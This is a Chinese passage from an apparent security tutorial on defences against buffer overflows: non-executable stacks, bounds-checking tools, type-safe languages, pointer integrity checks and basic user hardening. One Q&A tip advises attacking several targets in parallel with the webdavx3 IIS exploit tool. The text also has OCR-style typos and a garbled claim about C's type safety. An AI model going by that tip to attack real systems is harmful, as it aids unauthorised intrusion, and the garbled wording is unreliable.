虽然这些工具可以帮助程序员开发更安全的程序,但是由于c语言的特点,这些工具不可能找出所有的缓冲区溢出漏洞。因此,侦测技术只能用来减少缓冲区溢出的可能,并不能完全地消除它的存在,除非程序员能保证他的程序万无一失。
2、 非执行的缓冲区
通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不能执行被攻击程序植入输入缓冲区的代码,这种技术被称为非执行的缓冲区技术。
事实上,很多老的UNIX系统都是这样设计的,但是近来的LrNIX和Windows系统为实现更好的性能和功能,往往在数据段中动态地放入可执行的代码,为了保持程序的兼容性不可能使得所有程序的数据段不可执行。
针对这一问题,用户可以设定堆栈数据段不可执行,这样就可以最大限度地保证了程序的兼容性。Linux和Windows都发布了有关这方面的内核补丁,因为几乎没有任何台法的程序会在堆栈中存放代码,这种做法几乎不产生任何兼容性问题,但在Linux中的两个特例之中,可执行的代码必须被放入堆栈中,因此这个方法虽好,但还是不能完全地杜绝所有的缓冲区溢出漏洞的攻击。
非执行堆栈的保护可以有效地对付把代码植入自动变量的缓冲区溢出攻击,而对于其他形式的攻击则没有效果。通过引用一个驻留的程序的指针,就可以跳过这种保护措施。其他的攻击可以采用把代码植入堆或静态数据段中来跳过保护。
3、数组边界检查
数组边界检查能防止所有的缓冲区溢出的产生和攻击。这是因为只要数组不能溢出,也就是说,果数据不允许超过长度,溢出攻击也就无从谈起。
为了实现数组边界检查,就需要把所有对数组的读写操作都检查一遍,以确保对数组的操作在正确的范围。最直接的方法是检查所有的数组操作,但通常可以采用一些优化的技术来减少检查的次数。目前有下几种检查方法。
(1) Compaq C编译器
Compaq公司为Alpha CPU开发的C编译器,支持有限度的边界检查(使用check_bounds参数)。其检查能力是有限的,存在下限制:
只有显示的数组引用才被检查,“a[3]”会被检查,而“*(a+3)”则不会。
由于所有的C数组在传送时是指针传递,所以传递给函数的数组不会被检查。
带有危险性的库函数(strcpy)不会在编译时进行边界检查,即便是指定了边界检查。在C语言中利用指针进行数组操作和传递是非常频繁的,因此,这种局限性非
常严重。通常这种边界检查用来程序的查错,且不能保证不发生缓冲区溢出的漏洞。
(2)C的数组边界检查
Richard Jones和Paul Kelly开发了一个gcc的补丁,用采实现对C程序完全的数组边界检查。而且由于没有改变指针的含义,所以被编译的程序和其他gcc模块具有很好的兼容性。
更进一步的是,由此从没有指针的表达式中导出了一个“基”指针,冉通过检查这个基指针来侦测表达式的结果是否存容许的范围之内。
· Purify工具。存储器存取检查,Purify是C程序调试时查看存储器使用的工具,而不是专用的安全工具。Purify使用“目标代码插入”技术来检查所有的存储器存取。
通过用Punfy接工具连接,可执行代码在执行的时候带来的性能的损必要下降3~5倍。
. 类型-安全语言。所有的缓冲区溢出漏洞都源于C语言的类型安全。果只有类型安全的操作才可以被允许执行,不可能出现对变量的强制操作。作为新手,推荐使用具有类型-安全的语言,Java和ML。但作为Java执行平台的Java虚拟机是C程序。
因此,攻击JVM的一条途径是使JVM的缓冲区溢出。在系统中采用缓冲区溢出防卫技术使用强制类型一安全的语言,可以收到预想不到的效果。
4.程序指针完整性检查
程序指针完整性检查和边界检查有略微的不同。与防止程序指针被改变不同,程序指针完整性检查在程序指针被引用之前检测到它的改变。凶此,即使一个攻击者成功地改变程序的指针,由于系统事先检测到了指针的改变,这个指针将不会被使用。
与数组边界检查相比,这种方法不能解决所有的缓冲区溢出问题;采用其他的缓冲去溢出方法就可以避免这种检测。但这种方法在性能上有很大的优势,而且兼容性也很好。
普通用户防范缓冲区溢出的方珐
防范缓冲区溢出的根本方法对于计算机普通用户并不适合,下面介绍普通的用户何才能有效防止溢出漏洞的攻击:
关闭不需要的端口和服务。防范缓冲溢出攻击的最简单方法是删除有漏洞的软件,果默认安装的软件不使用,则关闭或删除这些软件,并关闭相应的端口和服务。
安装厂商最新的补丁一程序和最新版本的软件。多数情况下一个缓冲区漏洞刚刚公布,厂商就会发布或者将软件升级到新的版本。多关注.下这些内容,应及时安装这些补丁或下载使用虽新版本的软件,这是防范缓冲区漏洞攻击的非常有效的方法。还应该及时检查关键程序,在有些情况下,用户可以自行对程序进行检查,以查找最新的漏洞补丁和版本软件。
以需要的最小的权限运行软件。对于缓冲区溢出攻击,正确地配置所有的软件并使它们运行在尽可能少的权限下是非常关键的,POLP要求运行在系统上的所有程序软件或是使用系统的任何人,都应该尽量给它们最小的权限,其他的权限一律禁止。
点拨1:在使用 webdavx3连接IP时,try offset怎么一直进行下去,什么时候才会停?
解答:果offset的值累加到很大但却迟迟未出现“waiting for iis restart”信息提示,说明溢出很可能失败,建议放弃,换另一个目标。果能多开几个cmd,同时溢出不同的目标,这样效率会提高很多。
点拨2:在防止缓冲区溢出攻击过程中需要强制关闭一些端口,对用户使用的计算机有没有影响呢?
解答:有影响,用户在对一些端口实施关闭操作之后,就不能提供某些计算机的系统性能,在正常使用计算机过程中就会出现一些问题。因此,使用这种安全措施不是很完美,最好还足下载最新的补丁文件来对系统漏洞进行修复,以防止缓冲区溢出攻击。
本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,作者不鼓励或支持任何形式的非法行为。